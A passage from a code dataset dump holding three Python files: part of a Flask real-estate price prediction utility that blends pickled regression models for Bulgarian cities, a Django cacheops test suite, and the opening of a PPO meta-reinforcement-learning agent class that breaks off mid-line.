None\n__xgboost_tarnovo = None\n__stack_tarnovo = None\n\n\n# Blending the differrent models\ndef blend_model_tarnovo(X):\n    return (\n        (0.05 * __elasticnet_tarnovo.predict(X))\n        + (0.1 * __lasso_tarnovo.predict(X))\n        + (0.05 * __ridge_tarnovo.predict(X))\n        + (0.2 * __gbr_tarnovo.predict(X))\n        + (0.3 * __xgboost_tarnovo.predict(np.array(X)))\n        + (0.3 * __stack_tarnovo.predict(np.array(X)))\n    )\n\n\ndef get_predict_price_tarnovo(location, m2, rooms, floor, build):\n    \"\"\"A function that returns the predicted price, using the regresssion model and user inputs\"\"\"\n    try:\n        # finding the index of the filled in location, converted to lower case\n        loc_index = __data_columns_tarnovo.index(location.lower())\n    except:\n        loc_index = -1\n    try:\n        # similar for building method\n        build_index = __data_columns_tarnovo.index(build.lower())\n    except:\n        build_index = -1\n\n    # Creating an array long as the lenght of number of columns\n    x = np.zeros(len(__data_columns_tarnovo))\n    # Assigning m2, room and floor inputs\n    x[0], x[1], x[2] = m2, rooms, floor\n    # Using the location index to assign a dummy\n    if loc_index >= 0:\n        x[loc_index] = 1\n    # Same for the build method\n    if build_index >= 0:\n        x[build_index] = 1\n\n    # We use the inverted box-cox transformation to get the real price in euro\n    return round(inv_boxcox1p(blend_model_tarnovo([x])[0], 0.35), 0)\n\n\ndef get_location_names_tarnovo():\n    \"\"\"Function which returns locations data\"\"\"\n\n    return __locations_tarnovo\n\n\ndef get_build_method_tarnovo():\n    \"\"\"Function which returns building method data\"\"\"\n\n    return __build_method_tarnovo\n\n\ndef load_saved_artifacts_tarnovo():\n    \"\"\"Function which loads server artifacts files, from which we extract data , locations and build method and model, used for prediction\"\"\"\n\n    print(\"loading saved Tarnovo artifacts...start\")\n    global __data_columns_tarnovo\n    global __locations_tarnovo\n    global __build_method_tarnovo\n    global __elasticnet_tarnovo\n    global __ridge_tarnovo\n    global __lasso_tarnovo\n    global __gbr_tarnovo\n    global __xgboost_tarnovo\n    global __stack_tarnovo\n\n    # We load the columns data from the json file\n    with open(\"./artifacts/tarnovo_columns.json\", \"r\", encoding=\"utf-8\") as f:\n        # loading all the columns\n        __data_columns_tarnovo = json.load(f)[\"data_columns\"]\n        # here we define just the location columns\n        __locations_tarnovo = __data_columns_tarnovo[3:-3]\n        # the same for the build method\n        __build_method_tarnovo = __data_columns_tarnovo[-3:]\n\n    # We load the models from the joblib/pickle file\n    __elasticnet_tarnovo = load(\n        \"./artifacts/tarnovo_appartament_price_model_elasticnet.joblib\"\n    )\n    __ridge_tarnovo = load(\"./artifacts/tarnovo_appartament_price_model_ridge.joblib\")\n    __lasso_tarnovo = load(\"./artifacts/tarnovo_appartament_price_model_lasso.joblib\")\n    __gbr_tarnovo = load(\"./artifacts/tarnovo_appartament_price_model_gbr.joblib\")\n    __xgboost_tarnovo = load(\n        \"./artifacts/tarnovo_appartament_price_model_xgboost.joblib\"\n    )\n    __stack_tarnovo = load(\"./artifacts/tarnovo_appartament_price_model_stack.joblib\")\n\n    print(\"loading saved  Tarnovo artifacts...done\")\n\n\n# # ------------------------------------Varna------------------------------------\n\n# Defining global variables for Varna\n__locations_varna = None\n__data_columns_varna = None\n__build_method_varna = None\n__elasticnet_varna = None\n__ridge_varna = None\n__lasso_varna = None\n__gbr_varna = None\n__xgboost_varna = None\n__stack_varna = None\n\n\n# Blending the differrent models\ndef blend_model_varna(X):\n    return (\n        (0.05 * __elasticnet_varna.predict(X))\n        + (0.1 * __lasso_varna.predict(X))\n        + (0.05 * __ridge_varna.predict(X))\n        + (0.2 * __gbr_varna.predict(X))\n        + (0.3 * __xgboost_varna.predict(np.array(X)))\n        + (0.3 * __stack_varna.predict(np.array(X)))\n    )\n\n\ndef get_predict_price_varna(location, m2, rooms, floor, build):\n    \"\"\"A function that returns the predicted price, using the regresssion model and user inputs\"\"\"\n    try:\n        # finding the index of the filled in location, converted to lower case\n        loc_index = __data_columns_varna.index(location.lower())\n    except:\n        loc_index = -1\n    try:\n        # similar for building method\n        build_index = __data_columns_varna.index(build.lower())\n    except:\n        build_index = -1\n\n    # Creating an array long as the lenght of number of columns\n    x = np.zeros(len(__data_columns_varna))\n    # Assigning m2, room and floor inputs\n    x[0], x[1], x[2] = m2, rooms, floor\n    # Using the location index to assign a dummy\n    if loc_index >= 0:\n        x[loc_index] = 1\n    # Same for the build method\n    if build_index >= 0:\n        x[build_index] = 1\n\n    # We use the inverted box-cox transformation to get the rela euro price\n    return round(inv_boxcox1p(blend_model_varna([x])[0], -0.22), 0)\n\n\ndef get_location_names_varna():\n    \"\"\"Function which returns locations data\"\"\"\n\n    return __locations_varna\n\n\ndef get_build_method_varna():\n    \"\"\"Function which returns building method data\"\"\"\n\n    return __build_method_varna\n\n\ndef load_saved_artifacts_varna():\n    \"\"\"Function which loads server artifacts files, from which we extract data , locations and build method and model, used for prediction\"\"\"\n\n    print(\"loading saved Varna artifacts...start\")\n    global __data_columns_varna\n    global __locations_varna\n    global __build_method_varna\n    global __elasticnet_varna\n    global __ridge_varna\n    global __lasso_varna\n    global __gbr_varna\n    global __xgboost_varna\n    global __stack_varna\n\n    # We load the columns data from the json file\n    with open(\"./artifacts/varna_columns.json\", \"r\", encoding=\"utf-8\") as f:\n        # loading all the columns\n        __data_columns_varna = json.load(f)[\"data_columns\"]\n        # here we define just the location columns\n        __locations_varna = __data_columns_varna[3:-3]\n        # the same for the build method\n        __build_method_varna = __data_columns_varna[-3:]\n\n    # We load the models from the joblib/pickle file\n    __elasticnet_varna = load(\n        \"./artifacts/varna_appartament_price_model_elasticnet.joblib\"\n    )\n    __ridge_varna = load(\"./artifacts/varna_appartament_price_model_ridge.joblib\")\n    __lasso_varna = load(\"./artifacts/varna_appartament_price_model_lasso.joblib\")\n    __gbr_varna = load(\"./artifacts/varna_appartament_price_model_gbr.joblib\")\n    __xgboost_varna = load(\"./artifacts/varna_appartament_price_model_xgboost.joblib\")\n    __stack_varna = load(\"./artifacts/varna_appartament_price_model_stack.joblib\")\n\n    print(\"loading saved Varna artifacts...done\")\n\n\n# # ----------------------------------------- Sofia-------------\n\n# Defining global variables for Sofia\n__locations_sofia = None\n__data_columns_sofia = None\n__build_method_sofia = None\n__elasticnet_sofia = None\n__ridge_sofia = None\n__lasso_sofia = None\n__gbr_sofia = None\n__xgboost_sofia = None\n__stack_sofia = None\n\n\n# Blending the differrent models\ndef blend_model_sofia(X):\n    return (\n        (0.05 * __elasticnet_sofia.predict(X))\n        + (0.1 * __lasso_sofia.predict(X))\n        + (0.05 * __ridge_sofia.predict(X))\n        + (0.2 * __gbr_sofia.predict(X))\n        + (0.3 * __xgboost_sofia.predict(np.array(X)))\n        + (0.3 * __stack_sofia.predict(np.array(X)))\n    )\n\n\ndef get_predict_price_sofia(location, m2, rooms, floor, build):\n    \"\"\"A function that returns the predicted price, using the regresssion model and user inputs\"\"\"\n    try:\n        # finding the index of the filled in location, converted to lower case\n        loc_index = __data_columns_sofia.index(location.lower())\n    except:\n        loc_index = -1\n    try:\n        # similar for building method\n        build_index = __data_columns_sofia.index(build.lower())\n    except:\n        build_index = -1\n\n    # Creating an array long as the lenght of number of columns\n    x = np.zeros(len(__data_columns_sofia))\n    # Assigning m2, room and floor inputs\n    x[0], x[1], x[2] = m2, rooms, floor\n    # Using the location index to assign a dummy\n    if loc_index >= 0:\n        x[loc_index] = 1\n    # Same for the build method\n    if build_index >= 0:\n        x[build_index] = 1\n\n    # We use the inverted box-c0x trtansformatin to get the real euro price prediction\n    return round(inv_boxcox1p(blend_model_sofia([x])[0], 0.07), 0)\n\n\ndef get_location_names_sofia():\n    \"\"\"Function which returns locations data\"\"\"\n\n    return __locations_sofia\n\n\ndef get_build_method_sofia():\n    \"\"\"Function which returns building method data\"\"\"\n\n    return __build_method_sofia\n\n\ndef load_saved_artifacts_sofia():\n    \"\"\"Function which loads server artifacts files, from which we extract data , locations and build method and model, used for prediction\"\"\"\n\n    print(\"loading saved Sofia artifacts...start\")\n    global __data_columns_sofia\n    global __locations_sofia\n    global __build_method_sofia\n    global __elasticnet_sofia\n    global __ridge_sofia\n    global __lasso_sofia\n    global __gbr_sofia\n    global __xgboost_sofia\n    global __stack_sofia\n\n    # We load the columns data from the json file\n    with open(\"./artifacts/sofia_columns.json\", \"r\", encoding=\"utf-8\") as f:\n        # loading all the columns\n        __data_columns_sofia = json.load(f)[\"data_columns\"]\n        # here we define just the location columns\n        __locations_sofia = __data_columns_sofia[3:-3]\n        # the same for the build method\n        __build_method_sofia = __data_columns_sofia[-3:]\n\n    # We load the models from the joblib/pickle file\n    __elasticnet_sofia = load(\n        \"./artifacts/sofia_appartament_price_model_elasticnet.joblib\"\n    )\n    __ridge_sofia = load(\"./artifacts/sofia_appartament_price_model_ridge.joblib\")\n    __lasso_sofia = load(\"./artifacts/sofia_appartament_price_model_lasso.joblib\")\n    __gbr_sofia = load(\"./artifacts/sofia_appartament_price_model_gbr.joblib\")\n    __xgboost_sofia = load(\"./artifacts/sofia_appartament_price_model_xgboost.joblib\")\n    __stack_sofia = load(\"./artifacts/sofia_appartament_price_model_stack.joblib\")\n\n    print(\"loading saved  Sofia artifacts...done\")\n\n\n# Loading all the artifacts data for the different cities, also checking if prediction functions works fine\nif __name__ == \"__main__\":\n    print(\"Starting Python Flask Server for Real Estate Price Prediction...\")\n    load_saved_artifacts_shumen()\n    print(get_location_names_shumen())\n    print(get_build_method_shumen())\n    print(get_predict_price_shumen(\"тракия\", 58, 3, 9, \"епк\"))\n\n    load_saved_artifacts_plovdiv()\n    print(get_location_names_plovdiv())\n    print(get_build_method_plovdiv())\n    print(get_predict_price_plovdiv(\"център\", 58, 3, 9, \"тухла\"))\n\n    load_saved_artifacts_tarnovo()\n    print(get_location_names_tarnovo())\n    print(get_build_method_tarnovo())\n    print(get_predict_price_tarnovo(\"център\", 58, 3, 9, \"тухла\"))\n\n    load_saved_artifacts_varna()\n    print(get_location_names_varna())\n    print(get_build_method_varna())\n    print(get_predict_price_varna(\"център\", 58, 3, 9, \"тухла\"))\n\n    load_saved_artifacts_sofia()\n    print(get_location_names_sofia())\n    print(get_build_method_sofia())\n    print(get_predict_price_sofia(\"лозенец\", 80, 3, 2, \"епк\"))\n","repo_name":"tanisal/AdvancedAppartementPricePrediction","sub_path":"server/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":18823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37362986905","text":"import unittest, random\nfrom django.test import TestCase\nfrom django.contrib.auth.models import User\n\nfrom cacheops import invalidate_all, cached\nfrom .models import *\n\n\nclass BaseTestCase(TestCase):\n    def setUp(self):\n        super(BaseTestCase, self).setUp()\n        invalidate_all()\n\n\nclass BasicTests(BaseTestCase):\n    fixtures = ['basic']\n\n    def test_it_works(self):\n        with self.assertNumQueries(1):\n            cnt1 = Category.objects.cache().count()\n            cnt2 = Category.objects.cache().count()\n            self.assertEqual(cnt1, cnt2)\n\n    def test_invalidation(self):\n        post = Post.objects.cache().get(pk=1)\n        post.title += ' changed'\n        post.save()\n\n        with self.assertNumQueries(1):\n            changed_post = Post.objects.cache().get(pk=1)\n            self.assertEqual(post.title, changed_post.title)\n\n    def test_invalidate_by_foreign_key(self):\n        posts = list(Post.objects.cache().filter(category=1))\n        Post.objects.create(title='New Post', category_id=1)\n\n        with self.assertNumQueries(1):\n            changed_posts = list(Post.objects.cache().filter(category=1))\n            self.assertEqual(len(changed_posts), len(posts) + 1)\n\n    def test_invalidate_by_one_to_one(self):\n        extras = list(Extra.objects.cache().filter(post=3))\n        Extra.objects.create(post_id=3, tag=0)\n\n        with self.assertNumQueries(1):\n            changed_extras = list(Extra.objects.cache().filter(post=3))\n            self.assertEqual(len(changed_extras), len(extras) + 1)\n\n    def test_invalidate_by_boolean(self):\n        count = Post.objects.cache().filter(visible=True).count()\n\n        post = Post.objects.get(pk=1, visible=True)\n        post.visible = False\n        post.save()\n\n        with self.assertNumQueries(1):\n            new_count = Post.objects.cache().filter(visible=True).count()\n            self.assertEqual(new_count, count - 1)\n\n    def test_db_column(self):\n        e = Extra.objects.cache().get(tag=5)\n        e.save()\n\n    def test_fk_to_db_column(self):\n        e = Extra.objects.cache().get(to_tag__tag=5)\n        e.save()\n\n        with self.assertNumQueries(1):\n            Extra.objects.cache().get(to_tag=5)\n\n    def test_expressions(self):\n        from django.db.models import F\n        queries = (\n            {'tag': F('tag')},\n            {'tag': F('to_tag')},\n            {'tag': F('to_tag') * 2},\n            {'tag': F('to_tag') + (F('tag') / 2)},\n        )\n        if hasattr(F, 'bitor'):\n            queries += (\n                {'tag': F('tag').bitor(5)},\n                {'tag': F('to_tag').bitor(5)},\n                {'tag': F('tag').bitor(5) + 1},\n                {'tag': F('tag').bitor(5) * F('to_tag').bitor(5)}\n            )\n        count = len(queries)\n        for c in (count, 0):\n            with self.assertNumQueries(c):\n                for q in queries:\n                    Extra.objects.cache().filter(**q).count()\n\n\nclass IssueTests(BaseTestCase):\n    def setUp(self):\n        user = User.objects.create(username='Suor')\n        Profile.objects.create(pk=2, user=user, tag=10)\n        super(IssueTests, self).setUp()\n\n    def test_16(self):\n        p = Profile.objects.cache().get(user__id__exact=1)\n        p.save()\n\n        with self.assertNumQueries(1):\n            Profile.objects.cache().get(user=1)\n\n    def test_29(self):\n        MachineBrand.objects.exclude(labels__in=[1,2,3]).cache().count()\n\n    def test_39(self):\n        list(Point.objects.filter(x=7).cache())\n\n    def test_45(self):\n        m = CacheOnSaveModel(title=\"test\")\n        m.save()\n\n        with self.assertNumQueries(0):\n            CacheOnSaveModel.objects.cache().get(pk=m.pk)\n\n\nclass LocalGetTests(BaseTestCase):\n    def setUp(self):\n        Local.objects.create(pk=1)\n        super(LocalGetTests, self).setUp()\n\n    def test_unhashable_args(self):\n        Local.objects.cache().get(pk__in=[1, 2])\n\n\nclass ManyToManyTests(BaseTestCase):\n    def setUp(self):\n        self.suor = User.objects.create(username='Suor')\n        self.peterdds = User.objects.create(username='peterdds')\n        self.photo = Photo.objects.create()\n        PhotoLike.objects.create(user=self.suor, photo=self.photo)\n        super(ManyToManyTests, self).setUp()\n\n    @unittest.expectedFailure\n    def test_44(self):\n        make_query = lambda: list(self.photo.liked_user.order_by('id').cache())\n        self.assertEqual(make_query(), [self.suor])\n\n        PhotoLike.objects.create(user=self.peterdds, photo=self.photo)\n        self.assertEqual(make_query(), [self.suor, self.peterdds])\n\n\n# Tests for proxy models, see #30\nclass ProxyTests(BaseTestCase):\n    def test_30(self):\n        proxies = list(VideoProxy.objects.cache())\n        Video.objects.create(title='Pulp Fiction')\n\n        with self.assertNumQueries(1):\n            list(VideoProxy.objects.cache())\n\n    def test_30_reversed(self):\n        proxies = list(Video.objects.cache())\n        VideoProxy.objects.create(title='Pulp Fiction')\n\n        with self.assertNumQueries(1):\n            list(Video.objects.cache())\n\n    @unittest.expectedFailure\n    def test_interchange(self):\n        proxies = list(Video.objects.cache())\n\n        with self.assertNumQueries(0):\n            list(VideoProxy.objects.cache())\n\n\nclass MultitableInheritanceTests(BaseTestCase):\n    @unittest.expectedFailure\n    def test_sub_added(self):\n        media_count = Media.objects.cache().count()\n        Movie.objects.create(name=\"Matrix\", year=1999)\n\n        with self.assertNumQueries(1):\n            self.assertEqual(Media.objects.cache().count(), media_count + 1)\n\n    @unittest.expectedFailure\n    def test_base_changed(self):\n        matrix = Movie.objects.create(name=\"Matrix\", year=1999)\n        list(Movie.objects.cache())\n\n        media = Media.objects.get(pk=matrix.pk)\n        media.name = \"Matrix (original)\"\n        media.save()\n\n        with self.assertNumQueries(1):\n            list(Movie.objects.cache())\n\n\nclass SimpleCacheTests(BaseTestCase):\n    def test_cached(self):\n        calls = [0]\n\n        @cached(timeout=100)\n        def get_calls(x):\n            calls[0] += 1\n            return calls[0]\n\n        self.assertEqual(get_calls(1), 1)\n        self.assertEqual(get_calls(1), 1)\n        self.assertEqual(get_calls(2), 2)\n        get_calls.invalidate(2)\n        self.assertEqual(get_calls(2), 3)\n\n\nclass DbAgnosticTests(BaseTestCase):\n    def test_db_agnostic_by_default(self):\n        list(DbAgnostic.objects.cache())\n\n        with self.assertNumQueries(0, using='slave'):\n            list(DbAgnostic.objects.cache().using('slave'))\n\n    def test_db_agnostic_disabled(self):\n        list(DbBinded.objects.cache())\n\n        with self.assertNumQueries(1, using='slave'):\n            list(DbBinded.objects.cache().using('slave'))\n","repo_name":"seban016/django-cacheops","sub_path":"tests/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":6760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"7315428745","text":"import torch\nimport torch.nn as nn\nfrom torch.utils.tensorboard import SummaryWriter\nimport random\nfrom networks import MamlParamsPg, NormalMamlParamsPPO, Curiosity1MamlParamsPPO, Curiosity2MamlParamsPPO, Forward_Predictor, Reward_Predictor\nfrom utils import BatchData, calc_rtg\nimport numpy as np\nfrom torch.optim import Adam, RMSprop, SGD\n\n\"\"\"\n\nPPO meta-agent\n\n\"\"\"\n\nclass PPO(nn.Module):\n    def __init__(self, params, writer, device, adaptive_lr=False, load_pretrained=False):\n        super(PPO, self).__init__()\n\n        self.action_dim = 4\n        self.show_goal = params['show_goal']\n        self.batchdata = [[BatchData() for _ in range(params['batch_tasks'])], [BatchData() for _ in range(params['batch_tasks'])]]        # list[0] for adaptation batch and list[1] for evaluation batch\n        # self.writer = SummaryWriter(log_dir=logdir)\n        self.writer = writer\n        self.log_idx = 0\n        self.log_grads_idx = 0\n        self.device = device\n\n        self.log_frq_idx = 0\n\n        self.inner_lr = params['inner_lr']\n\n        self.epsilon0 = 0.9\n        self.epsilon = self.epsilon0\n        self.epsilon_adapt = 0.9\n        self.epsilon_adapt_decay = params['eps_adapt_decay']\n        self.epsilon_decay = 0.6 #0.85\n\n        self.K = params['episode_per_update']\n\n        # Init params and actor-critic policy networks, old_policy used for sampling, policy for training\n        self.lr = params['lr']\n        self.eps_clip = params['eps_clip']\n        self.gamma = 0.9\n        self.c1 = params['c1']\n        self.c2 = params['c2']\n\n        # Parameters for additive loss\n        self.reg_l2 = params['reg_l2']\n        self.cl2 = params['cl2']\n\n        self.kl = torch.nn.KLDivLoss(reduction='batchmean', log_target=True)\n        self.nu = params['kl_nu']\n\n        self.add_l2 = params['add_loss_exploration']\n        self.inner_loss_type = params['inner_loss_type']\n        self.idx_reward_pred = 0\n        self.dec_opt = params['decoupled_optimization']\n        self.explorer_loss = params['explorer_loss']\n        self.decouple_models = params['decoupled_explorer']\n        self.decouple_predictors = params['decoupled_predictors']\n        self.beta_model = params['beta_model']\n\n        self.ADAPTATION = 0\n        self.EVALUATION = 1\n\n        self.norm_A = params['norm_A']\n\n        self.grad_align = params['gradient_alignment']\n        self.cos = torch.nn.CosineSimilarity(dim=0, eps=1e-08)\n        self.MSE_loss = nn.MSELoss()  # to calculate critic loss\n\n        if self.inner_loss_type == 0:\n            self.policy = NormalMamlParamsPPO(params, activation=params['activation'], adaptive_lr=adaptive_lr)\n            self.model_parameters = self.policy.parameters()\n            self.main_optimizer = Adam(self.model_parameters, lr=self.lr, eps=params['adam_epsilon'])\n        else:\n            if self.beta_model == 0:\n                self.policy = Curiosity1MamlParamsPPO(params, activation=params['activation'], adaptive_lr=adaptive_lr)\n            else:\n                self.policy = Curiosity2MamlParamsPPO(params, activation=params['activation'], adaptive_lr=adaptive_lr)\n\n            if self.decouple_models == 1:\n                self.psi_params = [param for param in self.policy.psi.parameters()]\n                self.optimizer_explorer = Adam(self.psi_params, lr=self.lr, eps=params['adam_epsilon'])\n\n            body_params = self.policy.params_to_adapt\n            beta_params = [param for param in self.policy.beta.parameters()]\n            v_params = [param for param in self.policy.theta_v.parameters()]\n            if adaptive_lr:\n                lr_params = [param for param in self.policy.lr.parameters()]\n            else:\n                lr_params = []\n\n            if self.decouple_predictors == 1:\n                self.model_parameters = body_params + beta_params + v_params + lr_params\n            else:\n                self.model_parameters = body_params + v_params + lr_params\n                predictors_parameters = beta_params\n                self.optimizer_predictor = Adam(predictors_parameters, lr=self.lr, eps=params['adam_epsilon'])\n\n            # if self.dec_opt == 1:\n            #     self.optimizer_explorer = Adam(psi_params, lr=self.lr, eps=params['adam_epsilon'])\n            # else:\n            #     self.model_parameters += psi_params\n\n            self.main_optimizer = Adam(self.model_parameters, lr=self.lr, eps=params['adam_epsilon'])\n\n\n\n\n\n        self.grads_vals = np.zeros(len(self.policy.get_exploiter_starting_params()))\n\n        # if self.dec_opt == 0 and self.decouple_models == 0:  # TODO: optimizer_predictors in case decouple_predictors==1 even for this case?\n        #     if self.decouple_predictors == 1:\n        #         self.model_parameters = self.policy.parameters()\n        #         self.optimizer = Adam(self.model_parameters, lr=self.lr, eps=params['adam_epsilon'])\n        #     else:\n        #\n        # else:\n        #\n        #     psi_params = [param for param in self.policy.psi.parameters()]\n        #     body_params = self.policy.params_to_adapt\n        #     beta_params = [param for param in self.policy.beta.parameters()]\n        #     v_params = [param for param in self.policy.theta_v.parameters()]\n        #     if adaptive_lr:\n        #         lr_params = [param for param in self.policy.lr.parameters()]\n        #     else:\n        #         lr_params = []\n        #\n        #     if self.decouple_predictors == 1:\n        #         self.exploitation_parameters = body_params + beta_params + v_params + lr_params\n        #     else:\n        #         self.exploitation_parameters = body_params + v_params + lr_params\n        #         self.predictors_parameters = beta_params\n        #         self.optimizer_predictors = Adam(self.predictors_parameters, lr=self.lr, eps=params['adam_epsilon'])\n        #\n        #     self.explorer_parameters = psi_params\n        #     self.optimizer_exploiter = Adam(self.model_parameters, lr=self.lr, eps=params['adam_epsilon'])\n        #     self.optimizer_explorer = Adam(psi_params, lr=self.lr, eps=params['adam_epsilon'])\n\n        if self.add_l2 == 1:\n            self.reward_prediction_model = Reward_Predictor(params['grid_size'], self.show_goal)\n            self.optimizer_curiosity = Adam(self.reward_prediction_model.parameters(), lr=params['curiosity_lr'])\n\n        if params['filter_type'] == 4:\n            self.forward_model = Forward_Predictor(params['grid_size'], self.show_goal)\n            self.optimizer_forward = Adam(self.forward_model.parameters(), lr=0.0001)               # TODO: maybe try different values of lr\n\n    def get_epsilon(self, mode=0):\n        if mode == self.ADAPTATION:\n            return self.epsilon_adapt\n        else:\n            return self.epsilon0\n\n    def update_epsilon(self, mode):\n        if mode == self.EVALUATION:\n            self.epsilon *= self.epsilon_decay\n        else:\n            self.epsilon *= self.epsilon_adapt_decay\n\n    def get_action(self, state, theta=None, test=False):\n        # Sample actions with epsilon greedy\n        if np.random.random() > self.epsilon or test:\n            a, log_prob, v = self.policy(self.to_tensor(state), theta=theta)\n            return a, log_prob, v\n        else:\n            a = np.random.randint(0, self.action_dim)\n            log_prob, v, _ = self.policy.evaluate(self.to_tensor(state), a, theta=theta)\n            return a, log_prob, v\n\n    def adapt(self, idx, train=False, print_grads=False):\n\n        self.policy.train()\n\n        rt = self.to_tensor(self.batchdata[0][idx].rewards)\n        rtgs = self.to_tensor(calc_rtg(rt, self.batchdata[0][idx].is_terminal, self.gamma))  # reward-to-go\n        states = torch.cat([self.to_tensor(x) for x in self.batchdata[0][idx].states], 0).detach()\n        actions = self.to_tensor(self.batchdata[0][idx].actions).view(-1, 1).detach()\n        old_logprobs_explorer = torch.cat([x.view(1) for x in self.batchdata[0][idx].old_logprobs])\n\n        logprobs_explorer, v, _ = self.policy.evaluate(states, actions[:, 0])  # logprobs of explorer\n\n        loss, loss_pi, loss_v, R_err, rt_hat = self.policy.get_adapt_loss(logprobs_explorer, old_logprobs_explorer, rt, rtgs, states, actions, v, self.c1)\n\n\n\n        if idx == 0 and print_grads:\n            img = np.zeros((17, 17))\n            for idx_img, states_img in enumerate(self.batchdata[0][0].states):\n                t = idx_img % (int(states_img.shape[1] / 2) - 1)\n                img[int(states_img[0, 2 * t]), int(states_img[0, 2 * t + 1])] += 1\n\n                # for t in range(int(states.shape[1] / 2)):\n                #     img[int(states[0, 2 * t]), int(states[0, 2 * t + 1])] += 1\n            self.writer.add_image(\"exploration_visited\", torch.tensor(img), self.log_frq_idx, dataformats='HW')\n            self.log_frq_idx += 1\n\n            # img = np.zeros((17, 17))\n            # counter = np.ones((17, 17))\n            # for idx_img, states_img in enumerate(self.batchdata[0][0].next_states):\n            #\n            #     t = idx_img % (int(states_img.shape[1] / 2) - 1)\n            #     img[int(states_img[0, 2 * t]), int(states_img[0, 2 * t + 1])] += rt_hat[idx_img]\n            #     counter[int(states_img[0, 2 * t]), int(states_img[0, 2 * t + 1])] += 1\n            #\n            #\n            #     # for t in range(int(states.shape[1] / 2)):\n            #     #     img[int(states[0, 2 * t]), int(states[0, 2 * t + 1])] += 1\n            #     #     counter[int(states[0, 2 * t]), int(states[0, 2 * t + 1])] += 1\n            # img /= counter\n            # self.writer.add_image(\"inner_reward\", torch.tensor(img), self.log_frq_idx, dataformats='HW')\n            # self.log_frq_idx += 1\n\n\n\n        if self.decouple_predictors == 0 and self.inner_loss_type == 1:\n            rt_hat = self.policy.get_predicted_reward(states, actions, use_beta=True)\n            R_err_beta = ((rt - rt_hat) ** 2)\n\n            self.optimizer_predictor.zero_grad()\n            R_err_beta.mean().backward()\n            self.optimizer_predictor.step()\n\n            self.writer.add_scalar(\"Reward prediction loss\", R_err_beta.mean().detach().cpu().numpy(), self.idx_reward_pred)\n            self.idx_reward_pred += 1\n\n\n\n\n\n        # theta_i = self.policy.get_theta()       # if self.beta_model == 1, this term is a list = [z_0, theta]\n        #\n        #\n        #\n        #\n        # rt = self.to_tensor(self.batchdata[0][idx].rewards)\n        # states = torch.cat([self.to_tensor(x) for x in self.batchdata[0][idx].states], 0).detach()\n        # actions = self.to_tensor(self.batchdata[0][idx].actions).view(-1, 1).detach()\n        # # logprobs = torch.cat([x.view(1) for x in self.batchdata[0][idx].logprobs])\n        # old_logprobs = torch.cat([x.view(1) for x in self.batchdata[0][idx].old_logprobs])\n        #\n        # if self.decouple_models == 1:\n        #     logprobs, v, _ = self.policy.evaluate(states, actions[:, 0])\n        # else:\n        #     logprobs, v, _ = self.policy.evaluate(states, actions[:, 0], theta=theta_i)\n        #\n        # inner_pred_MSE= 0\n        # if self.inner_loss_type == 0:\n        #\n        #     rtgs = self.to_tensor(calc_rtg(rt, self.batchdata[0][idx].is_terminal, self.gamma))  # reward-to-go\n        #     # Normalize rewards\n        #\n        #     # v = torch.cat([x.view(1) for x in self.batchdata[0][idx].v])\n        #     A = rtgs - v\n        #\n        #     loss_pi = ( - torch.exp(logprobs - old_logprobs.detach()) * A.detach()).mean()  # (- rtgs * logprobs).mean() # TODO: importance sampling / something to update psi\n        #     loss_v = (self.c1*(v - rtgs)**2).mean()\n        #     loss = loss_pi + loss_v\n        #     loss_pi = loss_pi.detach().cpu().item()\n        #     loss_v = loss_v.detach().cpu().item()\n        #\n        # elif self.inner_loss_type == 1:\n        #\n        #     rt_hat = self.policy.get_predicted_reward(states, actions)\n        #     # loss = ((rt - rt_hat)**2).mean()\n        #     R = ((rt - rt_hat) ** 2)\n        #\n        #     # train beta model with MSE\n        #\n        #     inner_pred_MSE = R.mean().detach().cpu().item()\n        #     A = R #- v#.detach()\n        #     loss_pi = (- torch.exp(logprobs - old_logprobs.detach()) * A).mean()\n        #     # loss_v = ((R.detach()-v)**2).mean()\n        #     # logprobs, _, _ = self.policy.evaluate(states, actions[:,0])\n        #     loss = loss_pi #+ loss_v\n        #     loss_pi = loss_pi.detach().cpu().item()\n        #     loss_v = 0#loss_v.detach().cpu().item()\n\n        if train:\n            theta_grad_s = torch.autograd.grad(outputs=loss, inputs=self.policy.get_exploiter_starting_params(), create_graph=True)\n            theta_i = list(map(lambda p: p[1] - p[2] * p[0], zip(theta_grad_s, self.policy.get_exploiter_starting_params(), self.policy.lr)))\n\n            if print_grads:\n                for i, grad in enumerate(theta_grad_s):\n                    self.grads_vals[i] += torch.mean(torch.abs(grad)).detach()\n\n            # if self.decouple_predictors == 0:\n            #     self.optimizer_predictor.zero_grad()\n            #     R_err.backward(retain_graph=True)\n            #     self.optimizer_predictor.step()\n\n        else:\n            theta_grad_s = torch.autograd.grad(outputs=loss, inputs=self.policy.get_exploiter_starting_params())\n            theta_i = list(map(lambda p: p[1] - p[2] * p[0].detach(), zip(theta_grad_s, self.policy.get_exploiter_starting_params(), self.policy.lr)))\n\n        return theta_i, loss.detach().cpu().item(), loss_pi, loss_v, theta_grad_s, R_err\n\n    # def update_adaptation_batches(self):\n    #\n    #     for batchdata in (self.batchdata[0]):\n    #         states = torch.cat([self.to_tensor(x) for x in batchdata.states], 0).detach()\n    #         actions = self.to_tensor(batchdata.actions).long().detach()\n    #         logprobs, state_vals, _ = self.policy.evaluate(states, actions)#, theta=self.policy.get_theta())\n    #\n    #         batchdata.logprobs = [x.detach() for x in logprobs]\n    #         batchdata.v = [x.detach() for x in state_vals]\n\n    def get_loss(self, theta_i, theta_0, idx, last_iteration=False, grads_adapt=None):\n        # get form correct batch old policy data\n        rtgs = self.to_tensor(calc_rtg(self.batchdata[1][idx].rewards, self.batchdata[1][idx].is_terminal, self.gamma))  # reward-to-go\n\n        old_states = torch.cat([self.to_tensor(x) for x in self.batchdata[1][idx].states], 0).detach()\n        old_actions = self.to_tensor(self.batchdata[1][idx].actions).long().detach()\n        old_logprobs_exploiter = torch.cat([x.view(1) for x in self.batchdata[1][idx].logprobs]).detach()\n\n        #get form correct batch new policy data\n        logprobs_exploiter, state_vals, H = self.policy.evaluate(old_states, old_actions, theta=theta_i)\n\n        # Compute loss\n        # Importance ratio\n        ratios = torch.exp(logprobs_exploiter - old_logprobs_exploiter.detach())  # new probs over old probs\n\n        # Calc advantages\n        A = rtgs - state_vals\n        if self.norm_A == 1:\n            A = ((A - torch.mean(A)) / 